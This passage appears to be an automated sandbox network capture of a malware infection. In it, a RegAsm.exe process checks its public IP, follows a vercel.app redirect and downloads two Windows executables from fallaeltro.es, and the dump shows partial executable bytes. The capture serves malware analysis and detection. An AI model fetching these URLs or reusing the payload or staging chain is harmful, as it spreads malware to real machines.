Sep 11, 2024 16:22:17.873588085 CEST	1236	IN	Data Raw: 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 32 35 30 25 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c Data Ascii: } .status-reason { font-size: 250%; display: block; } .contact-info, .reason-text { color: #000000; } .additional-info { background-repeat
Sep 11, 2024 16:22:17.873598099 CEST	448	IN	Data Raw: 20 20 20 2e 69 6e 66 6f 2d 69 6d 61 67 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 69 6e 66 6f 2d 68 65 61 64 69 6e 67 20 7b 0a 20 20 20 20 Data Ascii: .info-image { padding: 10px; } .info-heading { font-weight: bold; text-align: left; word-break: break-all; width: 100%; } .info-server address {
Sep 11, 2024 16:22:17.874129057 CEST	1236	IN	Data Raw: 69 6d 67 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 6f 72 64 65 72 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 70 79 72 69 67 68 74 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a Data Ascii: img { border: 0; } .copyright { font-size: 10px; color: #3F4143; } @media (min-width: 768px) { .additional-info { position: relative;
Sep 11, 2024 16:22:17.874139071 CEST	224	IN	Data Raw: 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 39 39 32 70 78 29 20 7b 0a 20 20 20 20 20 20 Data Ascii: isplay: inline; } } @media (min-width: 992px) { .additional-info { background-image: url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAPAAAADqCAMAAACrxjhdAAAAt1BMVEUAA
Sep 11, 2024 16:22:17.874187946 CEST	1236	IN	Data Raw: 41 41 41 41 41 44 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f 2f Data Ascii: AAAAAD////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////5+fn////////////////////////////////6+vr///////////////////////////////////////+i
Sep 11, 2024 16:22:17.874200106 CEST	1236	IN	Data Raw: 63 57 53 46 44 52 4f 4e 53 72 41 55 30 69 46 59 4c 72 48 55 32 52 4b 42 33 71 2b 48 78 44 48 54 34 4a 4b 45 65 32 70 72 68 78 59 31 61 43 53 35 6c 59 2b 48 6e 58 75 36 4e 2b 78 36 49 4a 43 52 51 51 6d 45 45 7a 2b 59 6a 49 45 2f 78 73 2f 4d 6d 44 Data Ascii: cWSFDRONSrAU0iFYLrHU2RKB3q+HxDHT4JKEe2prhxY1aCS5lY+HnXu6N+x6IJCRQQmEEz+YjIE/xs/MmD8qHRYK5CAHuaTY5jfQxFC/YoIQSSVafrD+WK4H0Piv8SATRZChEXiOs39L/IYwiOxRHgeEKcmbMI9ccHRCdxUeYanFpQJMBUDIFxw1chJiBAomkz3x43l+nuWGmWhkQs0a6Y7YHVe772m1tZlUBEhKI9k6nuLE8bz
Sep 11, 2024 16:22:17.874212027 CEST	1236	IN	Data Raw: 31 5a 45 2b 41 56 48 37 34 58 68 38 4e 51 4d 2f 64 5a 4d 78 56 4b 44 6b 50 43 79 57 6d 62 50 4a 2f 38 75 49 51 4a 2f 58 62 69 4c 38 62 4e 4b 76 76 30 76 57 6c 4c 43 62 30 66 51 6a 52 39 7a 75 55 31 79 2b 73 53 6b 6a 63 71 73 67 50 41 7a 43 56 47 Data Ascii: 1ZE+AVH74Xh8NQM/dZMxVKDkPCyWmbPJ/8uIQJ/XbiL8bNKvv0vWlLCb0fQjR9zuU1y+sSkjcqsgPAzCVGFWzPpYxJM9GAMXhGRinD85xkrCxEomEY7I7j/40IEvjWlJ7wDzjJZtmbCW/cChOPPtlICMGXIAX3QFYQIRcI3Cq2ZNk3tYduunPxIpus8JoLi5e1u2yWN1kxd3UV9VXAdvnjntIksh1V3BSe/DIUIHBdRCMMV6OnH
Sep 11, 2024 16:22:17.874222040 CEST	672	IN	Data Raw: 6f 65 2b 45 4b 45 50 72 59 6d 67 2b 51 4e 4e 4f 77 33 50 64 43 4c 67 70 42 55 52 4f 50 51 31 38 6d 58 31 5a 45 78 38 70 39 2f 2f 49 69 30 71 63 33 51 69 36 43 6d 41 55 31 64 45 70 44 39 53 41 31 74 54 39 38 2f 47 5a 61 64 76 66 32 39 47 78 50 59 Data Ascii: oe+EKEPrYmg+QNNOw3PdCLgpBUROPQ18mX1ZEx8p9//Ii0qc3Qi6CmAU1dEpD9SA1tT98/GZadvf29GxPYPh9n+MjAuRNg/Hc4WYm8WjT0pABNB7WkAb81kz8fEo5Na0rAQYU8KQEWEPSkAaafnRPiXEGHPCCbcnxphIEPPnhXc9XkRNuHh3Cw8JXteeCV7Zjg/wua8YGl3XvDUPy/c/Avd4/hNDSqegQAAAABJRU5ErkJggg==
Sep 11, 2024 16:22:17.875010014 CEST	1236	IN	Data Raw: 20 63 6c 61 73 73 3d 22 73 74 61 74 75 73 2d 72 65 61 73 6f 6e 22 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 73 65 63 74 69 6f 6e 3e 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 65 63 Data Ascii: class="status-reason">Bad Request</span> </section> <section class="contact-info"> Please forward this error screen to virt3413.unelink.net's <a href="mailto:info@proxadmin.com?subject=Error message [4

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49732	104.237.62.213	443	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:22:09 UTC	202	OUT	GET /?format=json HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: api64.ipify.org
2024-09-11 14:22:09 UTC	156	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 11 Sep 2024 14:22:09 GMT Content-Type: application/json Content-Length: 20 Connection: close Vary: Origin
2024-09-11 14:22:09 UTC	20	IN	Data Raw: 7b 22 69 70 22 3a 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 7d Data Ascii: {"ip":"8.46.123.33"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49733	34.117.59.81	443	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:22:10 UTC	236	OUT	GET /widget/demo/8.46.123.33 HTTP/1.1 Connection: Keep-Alive Referer: https://ipinfo.io/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36 Host: ipinfo.io
2024-09-11 14:22:10 UTC	458	IN	HTTP/1.1 200 OK access-control-allow-origin: * Content-Length: 1025 content-type: application/json; charset=utf-8 date: Wed, 11 Sep 2024 14:22:10 GMT referrer-policy: strict-origin-when-cross-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block via: 1.1 google strict-transport-security: max-age=2592000; includeSubDomains Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-09-11 14:22:10 UTC	932	IN	Data Raw: 7b 0a 20 20 22 69 6e 70 75 74 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 22 64 61 74 61 22 3a 20 7b 0a 20 20 20 20 22 69 70 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 33 33 22 2c 0a 20 20 20 20 22 68 6f 73 74 6e 61 6d 65 22 3a 20 22 73 74 61 74 69 63 2d 63 70 65 2d 38 2d 34 36 2d 31 32 33 2d 33 33 2e 63 65 6e 74 75 72 79 6c 69 6e 6b 2e 63 6f 6d 22 2c 0a 20 20 20 20 22 63 69 74 79 22 3a 20 22 4e 65 77 20 59 6f 72 6b 20 43 69 74 79 22 2c 0a 20 20 20 20 22 72 65 67 69 6f 6e 22 3a 20 22 4e 65 77 20 59 6f 72 6b 22 2c 0a 20 20 20 20 22 63 6f 75 6e 74 72 79 22 3a 20 22 55 53 22 2c 0a 20 20 20 20 22 6c 6f 63 22 3a 20 22 34 30 2e 37 31 34 33 2c 2d 37 34 2e 30 30 36 30 22 2c 0a 20 20 20 20 22 6f 72 67 22 3a 20 22 41 53 33 33 35 36 20 4c 65 76 65 6c 20 Data Ascii: { "input": "8.46.123.33", "data": { "ip": "8.46.123.33", "hostname": "static-cpe-8-46-123-33.centurylink.com", "city": "New York City", "region": "New York", "country": "US", "loc": "40.7143,-74.0060", "org": "AS3356 Level
2024-09-11 14:22:10 UTC	93	IN	Data Raw: 6b 20 41 62 75 73 65 20 44 65 73 6b 22 2c 0a 20 20 20 20 20 20 22 6e 65 74 77 6f 72 6b 22 3a 20 22 38 2e 34 36 2e 31 32 33 2e 30 2f 32 34 22 2c 0a 20 20 20 20 20 20 22 70 68 6f 6e 65 22 3a 20 22 2b 31 2d 38 37 37 2d 38 38 36 2d 36 35 31 35 22 0a 20 20 20 20 7d 0a 20 20 7d 0a 7d Data Ascii: k Abuse Desk", "network": "8.46.123.0/24", "phone": "+1-877-886-6515" } }}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49746	76.76.21.61	443	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:22:17 UTC	213	OUT	GET /feoihjfehfue HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: file-link-iota.vercel.app Cache-Control: no-cache
2024-09-11 14:22:17 UTC	493	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: public, max-age=0, must-revalidate Content-Type: text/plain Date: Wed, 11 Sep 2024 14:22:17 GMT Location: https://youtransfer.net/handler/download?action=download&download_id=Jgc6sLaF&private_id=0&url=https%253A%252F%252Fyoutransfer.net%252FJgc6sLaF Server: Vercel Strict-Transport-Security: max-age=63072000; includeSubDomains; preload X-Vercel-Id: iad1::nlgss-1726064537275-6aa7d62315f9 Connection: close Transfer-Encoding: chunked
2024-09-11 14:22:17 UTC	20	IN	Data Raw: 66 0d 0a 52 65 64 69 72 65 63 74 69 6e 67 2e 2e 2e 0a 0d 0a Data Ascii: fRedirecting...
2024-09-11 14:22:17 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49753	37.153.95.99	443	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:22:18 UTC	198	OUT	GET /vhtrw.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: fallaeltro.es Cache-Control: no-cache
2024-09-11 14:22:18 UTC	223	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 14:22:18 GMT Server: Apache Last-Modified: Wed, 11 Sep 2024 05:23:55 GMT Accept-Ranges: bytes Content-Length: 289832 Connection: close Content-Type: application/x-msdownload
2024-09-11 14:22:18 UTC	7969	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 04 29 e1 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 3c 04 00 00 08 00 00 00 00 00 00 5e 5b 04 00 00 20 00 00 00 60 04 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 04 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL)f<^[ `@ `
2024-09-11 14:22:18 UTC	8000	IN	Data Raw: 3a 17 de 97 c5 e5 58 4f d7 9f ab 4f d2 76 40 da db 2c b9 cf 78 e2 b9 3e 27 fd 2c 1c 9c a8 8c df 09 1a e8 4d d3 8f 9e 72 61 9e 04 3d 64 97 fb b9 b4 9c 1e d9 af 18 7e 00 0f 67 e2 8f f2 3d 8c 88 9c b8 34 23 d2 8b 2c 53 03 e7 7b 40 0b 99 c4 d7 7b 54 01 f3 59 20 dc bf be 79 50 4d 4d 6c 8f 04 aa c7 d9 13 6c 49 09 8a cf 8b 5b 6c e7 f8 ac 08 d2 48 8d a1 48 bc fc 7a e8 de cf 85 75 ab b0 50 12 8e 21 3f 66 f9 59 98 f6 23 a5 f2 b8 94 4b ac 51 58 d1 7e 7b 69 9f 6b ad f6 7d c5 86 07 9d d0 60 36 69 89 99 eb 6b a8 b4 33 5d e9 82 bb b1 13 b3 ec 4c 8a 1f 39 1a 60 80 49 8b b5 71 c5 05 df 1e 5c 27 d1 6f 50 4e 36 90 1e e6 3a 7b 90 cf 87 16 11 3c df 58 49 7b e9 c8 80 eb 92 b0 72 07 57 2a d9 cc b6 a6 30 8b 5b df 27 60 9e 3c b7 35 e1 7c db 5f af 94 eb 32 73 27 dd 1c 51 17 c3 e3 Data Ascii: :XOOv@,x>',Mra=d~g=4#,S{@{TY yPMMllI[lHHzuP!?fY#KQX~{ik}`6ik3]L9`Iq\'oPN6:{<XI{rW*0['`<5\|_2s'Q
2024-09-11 14:22:18 UTC	8000	IN	Data Raw: e7 0c 5f fb 1f 6f ba c7 ab c4 9a e8 cb 84 ec e5 d7 23 42 1c 6d 36 e8 ac 80 76 8d 62 0e dd f1 d6 86 5c 83 f0 9b 03 8a 69 a3 34 e4 a2 8d 1e 43 55 fa 15 b0 dd 09 ed 49 fd b3 6a a0 31 6d 69 7f 34 9d 94 20 6a 5e ba d0 f1 f2 85 1b fd 38 a2 09 35 5c 84 54 dd 8a 0c 58 fe 51 e5 73 21 c2 58 44 3c e1 8a 24 32 be 93 fa 78 e5 a8 2f fc e7 f5 6d 01 38 62 b0 00 36 7c ad 88 32 3d 4a a9 9e bc ff 12 a8 64 d2 fc 7f 7c 1e f6 a6 3c d5 ed 4c 0e ed 10 32 57 c7 29 e6 f1 7a 7e f8 a2 23 ee 20 ed 53 72 de a7 a6 39 c6 4d a3 9d c0 98 45 40 34 48 e6 4e 98 7e 81 ff 05 93 b3 a4 ff 94 09 a2 02 a1 04 9f f8 4f 8c 0f 7b 7c 4e a9 63 3f 84 1d 42 3f 82 78 8e e6 49 71 63 54 93 22 06 d3 2d cf f4 d6 7c 56 26 d9 61 71 1e 74 89 8e c3 92 55 e3 40 c0 88 b9 6b a4 13 f5 66 ea 9a 76 16 fb 06 fa 1f 7c 3f Data Ascii: _o#Bm6vb\i4CUIj1mi4 j^85\TXQs!XD<$2x/m8b6\|2=Jd\|<L2W)z~# Sr9ME@4HN~O{\|Nc?B?xIqcT"-\|V&aqtU@kfv\|?
2024-09-11 14:22:18 UTC	8000	IN	Data Raw: f9 5f 17 0c b7 0e db 71 4a e6 9e c9 05 9a c5 f5 91 4c 78 da 74 e3 7b 31 3f 96 b4 db b1 8f 91 67 64 89 e8 a6 89 a5 49 5d 50 bf 0f 89 27 46 cf e7 e4 49 d4 0b 42 8d fc c8 18 a7 44 0a af e6 73 66 77 ea dd 05 14 9d f6 01 ec a6 5a de 6a a1 a1 65 08 60 59 72 00 60 72 b0 f5 d4 f7 ff f9 75 47 07 58 97 2f af d5 fa 1e 16 99 80 5e 9e 11 df a5 6b 07 10 80 58 11 c9 9f 0d 8d 3e 23 03 d7 51 f4 cf 4a af eb 30 d8 bb fc 33 c1 d8 0c 25 d2 d9 67 d1 19 cb fa 2b 76 b6 17 8b 6e cb b3 8e cc 61 1a 51 29 bc aa 4d 51 c7 43 d5 12 13 70 bb 15 d5 80 2d 56 c5 39 32 fe b8 6a 66 88 42 85 fe a6 ab 38 39 71 52 54 b3 34 f8 e1 5e 57 91 d7 4f 5c 00 fe e7 27 6d 09 fc e3 91 68 67 82 19 f0 2a b4 2b 7e 3e 0a be 13 90 a8 89 e4 17 20 45 31 ef 37 77 ab 10 0f 63 60 17 50 20 54 ca 1e de 5f fb f6 7c 8c Data Ascii: _qJLxt{1?gdI]P'FIBDsfwZje`Yr`ruGX/^kX>#QJ03%g+vnaQ)MQCp-V92jfB89qRT4^WO\'mhg*+~> E17wc`P T_\|
2024-09-11 14:22:18 UTC	8000	IN	Data Raw: bf ac 13 7a fb e7 6c 84 00 68 52 eb c9 e1 43 98 c1 0e b7 2f 77 30 a1 c8 bb ec a6 68 2a 65 66 05 39 e1 63 5d 7d 2e 4f 39 21 2a 5d e8 12 d9 ce c2 7c d6 1c 6b 23 ae 08 45 d9 bb ab 31 ee 6a 49 0e f6 e4 fb 9f c7 bd e2 30 27 d6 db 88 cc ac e2 e6 09 9c 7d aa 69 1a be ad c3 17 19 81 26 25 c8 62 5f 98 91 ef 26 a3 89 4a 52 43 b6 a5 e3 ac cf 1a 76 75 a8 a2 fa fc 49 4c 3c a8 69 ad a7 52 65 7f d1 40 fb 78 9e b0 2b f4 cd 6d 71 19 dd 88 3c 6e b9 ce 62 21 8d 4b ee 5c 6d 91 48 00 99 cb 8f 4a 65 1c 9b cd 4d 21 0b c6 cc 1e 79 2a ec 7d 67 c4 76 9d af 9c 78 66 0f 15 c3 c2 fa e3 a0 02 ac 82 14 f9 43 dc da 4c f8 9d 07 80 d0 f7 21 2d 81 71 15 13 11 84 c4 99 15 89 e0 08 65 a6 fe 48 c5 bf ba dd 08 9d bf 44 cd 11 a3 fc 4d 8b 96 6d 87 01 bd 5a 11 65 21 c8 f5 a6 9c 2c 68 32 9e 79 51 Data Ascii: zlhRC/w0hef9c]}.O9!]\|k#E1jI0'}i&%b_&JRCvuIL<iRe@x+mq<nb!K\mHJeM!y*}gvxfCL!-qeHDMmZe!,h2yQ
2024-09-11 14:22:19 UTC	8000	IN	Data Raw: 7b bc 3b 39 15 6b f6 a9 c5 39 39 45 0a e5 90 ab 08 c1 61 7a 81 1e 4a 97 db cf d0 9d c8 e3 8e 5c bc a8 0f 81 d5 f0 75 93 1f 40 e7 5f 9e 13 33 9b ea a3 db 61 d1 c4 36 8f ba 42 4e b1 81 d3 ae b9 02 d2 f2 9c 35 c0 1d 90 cd be b2 a6 45 6a 25 ba 00 9c 52 55 eb 1f 84 d5 d1 d2 d1 43 82 ae a1 62 ed 1c 3f 8c 43 7d 27 27 3e 14 ce b8 92 23 18 fe 79 43 f6 ab b6 c4 a9 18 9d e8 73 ec 12 3a c8 dc e3 db 27 67 ee 14 44 c5 66 22 a2 39 c4 28 13 48 2d d4 c1 f5 1f a6 a0 1d bd a6 08 9c 9a 60 de 05 6d f6 ee 21 27 72 a2 82 7c b8 60 66 12 57 62 b6 69 b8 32 59 6a ad cb 24 8d 84 06 69 32 9a ab 76 ad c5 8c e2 2d 16 f5 94 1b 4e 67 92 1b 5b 04 aa 44 ef 39 73 56 0f 65 b4 8b 37 d2 0f ce aa b9 ae 26 38 19 df d2 56 ad ef db a9 03 53 90 23 39 c7 42 49 f4 b3 fa b5 df f7 f4 7e eb 74 0f 45 80 Data Ascii: {;9k99EazJ\u@_3a6BN5Ej%RUCb?C}''>#yCs:'gDf"9(H-`m!'r\|`fWbi2Yj$i2v-Ng[D9sVe7&8VS#9BI~tE
2024-09-11 14:22:19 UTC	8000	IN	Data Raw: ab 2d 7b 82 29 08 6e 0c 1f 70 f7 70 e4 42 fa 24 8d 0b 3a bb 6f 1d 08 50 39 5e 9a e6 ec f4 e8 aa 26 7c 52 a0 fb 0a cd d7 3d 00 aa 10 60 c4 49 64 ac d6 73 55 0a 8e 70 de b5 65 08 7b 01 86 aa 0f c6 49 8d 68 3f 32 b5 da 40 df b6 75 bd e2 23 e1 fd 41 ce fe 34 0d 77 6e 86 34 9d 74 40 8a 35 c2 06 0f 6d b0 54 40 01 f0 56 12 74 4e b0 30 42 93 6a 67 4f 02 7d 67 b4 62 13 ca d0 73 0c 57 9a 11 6b 64 25 77 34 25 62 5f 59 50 be f6 84 60 c1 05 29 54 b6 66 94 4f e9 b4 03 42 75 8e 8f 4b c3 33 37 93 04 80 f1 97 9e 3f a3 19 58 ad eb 10 c6 c7 54 af c5 e3 c0 af 67 3e f5 78 52 b5 4e 93 3f 36 a7 a9 ba 6f 4b 10 cc 51 2a 1f 7f e8 1b 21 a6 c2 a3 82 0b 55 dd f8 b3 dd d2 9a 59 cb 37 6b ab d3 a2 8b fe 73 6e 73 9d bb b8 3d 10 2d 8d b4 c8 df 4a a3 36 8a 5e 8e d2 84 02 89 30 a3 a2 a8 60 Data Ascii: -{)nppB$:oP9^&\|R=`IdsUpe{Ih?2@u#A4wn4t@5mT@VtN0BjgO}gbsWkd%w4%b_YP`)TfOBuK37?XTg>xRN?6oKQ*!UY7ksns=-J6^0`
2024-09-11 14:22:19 UTC	8000	IN	Data Raw: a4 24 b2 30 f2 ce 3d c9 74 74 0a bf ba c4 d6 93 fd dd 96 8e 9c fe 4a 5e 23 2c 18 8f b1 b5 c9 4d 95 c9 a2 48 22 2f a1 4d 7f 1c b9 e8 e9 3b a8 13 39 73 d6 e0 91 ba 8c a7 95 2d 53 0d 9a 15 f5 8a 60 95 eb 23 ef e2 85 3e 90 58 cf 4e ba f8 64 92 07 8b 64 c5 97 4a dc d7 78 60 4d 85 60 f4 b5 af 19 d5 8c 61 30 85 e0 e7 fd 30 83 89 e1 2d 54 ed b7 a4 09 55 49 bc fd ee 4b 8e 7a 8e 0f 87 d2 2b c4 bc 5b ef 78 1c 8e 2d e6 91 f1 fe 2c c7 9e f7 f5 c4 02 2a c0 fc 34 68 dc b4 38 89 06 dd 2c a7 b0 2d 32 d8 82 0e 1b f1 1e e9 77 d2 2b 09 66 98 1f 62 90 f2 d7 0a b1 6f 71 d0 4b 22 13 67 46 c4 b7 42 30 e6 95 e3 aa f1 1a 95 73 68 6a 44 91 e3 c5 4a 4f 40 59 46 e3 53 a3 da d7 94 4d f6 1c e9 a7 38 84 ad 4f 13 e3 73 bc 29 27 23 44 e5 41 23 58 c8 15 4b a9 6d ae 6f 17 54 ef 37 c0 45 c6 Data Ascii: $0=ttJ^#,MH"/M;9s-S`#>XNddJx`M`a00-TUIKz+[x-,*4h8,-2w+fboqK"gFB0shjDJO@YFSM8Os)'#DA#XKmoT7E
2024-09-11 14:22:19 UTC	8000	IN	Data Raw: b2 65 96 f7 e2 a8 00 e5 a6 6c ae 70 25 2e 4b b4 35 ef 37 42 da 1a 55 b3 32 cb 13 e6 6e 51 5f e4 3f ef 2c cb e4 5a c9 ae f5 4c 4f 8c 93 b4 da 93 d9 5b 20 9b fa b4 5f e8 06 ba 5b 2c 50 c8 3d 29 57 0d 97 59 dd 5e 68 78 51 61 cf 68 db 80 c7 63 60 e1 09 cd cb 76 ec a6 82 57 73 75 5a c0 b8 d9 1c f3 82 07 e0 a2 5d 1b a5 02 5a e8 41 23 d4 05 4f 7b e4 de aa 6d 8d d1 ef db 74 3f 89 8a a7 c6 07 ce a3 e3 ce 91 79 3a c0 be 94 db eb a0 d8 32 e2 ae 61 3e 07 3a 63 8b 76 ba 8d 14 de 9c 1b 34 60 8b 7c b9 18 57 c4 1a ba 80 02 f8 40 01 40 2b 36 cd 04 c3 11 5e d1 0a 9b 41 cc 18 a5 a4 a1 3d 74 da f4 77 e1 90 39 5e 3f f0 50 7d b1 a6 e6 19 70 10 a8 9a 0d 76 e2 a4 81 84 89 27 85 11 d4 e1 39 e5 c0 d4 eb 74 0c 25 2c 32 c0 4e 13 49 00 e1 ed 01 86 e2 2f c3 4f 25 b3 06 65 a2 7f b1 45 Data Ascii: elp%.K57BU2nQ_?,ZLO[ _[,P=)WY^hxQahc`vWsuZ]ZA#O{mt?y:2a>:cv4`\|W@@+6^A=tw9^?P}pv'9t%,2NI/O%eE
2024-09-11 14:22:19 UTC	8000	IN	Data Raw: 94 f3 06 aa bf ee 47 17 25 b7 03 a9 5d 55 30 6f ce 02 ca c5 a3 58 27 4d 68 42 c6 5d 53 10 8c 8b 67 c1 69 51 3e 04 57 b1 e4 0c 8c d0 40 fd 77 d7 7b 28 c0 0d fe d6 e3 b4 9b 62 b2 e9 85 45 e2 8f 93 bb a3 74 b7 16 df dd 01 3e 52 00 6f bf 01 99 8a f4 da 1d ae dd ff 7c 83 9c 3f 81 f5 4a 16 e0 f5 d7 a2 0d 84 97 0e 01 42 d0 05 9e 87 54 b3 db 5b 72 2c 53 12 d5 53 85 03 cd fa 87 ac 17 a9 82 af 1c 87 7f 6c 0b 6a 29 24 3a 5a 34 37 89 a4 af d0 e8 59 43 e5 e3 f5 f8 40 1c 83 b0 61 84 3b c0 98 24 09 3c 18 7c d5 bf a7 e4 6e 34 94 7e c6 0a 78 a6 e1 cd 54 45 32 1c e8 a0 4c f0 97 77 a0 87 a1 ac 99 54 90 7c 20 f5 6a 6e 5b 92 e6 2c c3 c1 69 db 41 31 1f 38 96 5d 5c 02 e4 2b 42 c9 c3 0c 40 99 16 e6 6c 37 78 d6 8f 0f 66 80 9f 23 4e 06 ce 4c 6c 3d c1 91 6f 79 46 4b 05 f5 d0 69 b7 Data Ascii: G%]U0oX'MhB]SgiQ>W@w{(bEt>Ro\|?JBT[r,SSlj)$:Z47YC@a;$<\|n4~xTE2LwT\| jn[,iA18]\+B@l7xf#NLl=oyFKi

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49754	37.153.95.99	443	5500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Timestamp	Bytes transferred	Direction	Data
2024-09-11 14:22:18 UTC	198	OUT	GET /sgfdm.exe HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Host: fallaeltro.es Cache-Control: no-cache
2024-09-11 14:22:18 UTC	223	IN	HTTP/1.1 200 OK Date: Wed, 11 Sep 2024 14:22:18 GMT Server: Apache Last-Modified: Wed, 11 Sep 2024 05:23:54 GMT Accept-Ranges: bytes Content-Length: 210472 Connection: close Content-Type: application/x-msdownload
2024-09-11 14:22:18 UTC	7969	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 f7 28 e1 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 06 03 00 00 08 00 00 00 00 00 00 5e 25 03 00 00 20 00 00 00 40 03 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 03 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL(f^% @@ `
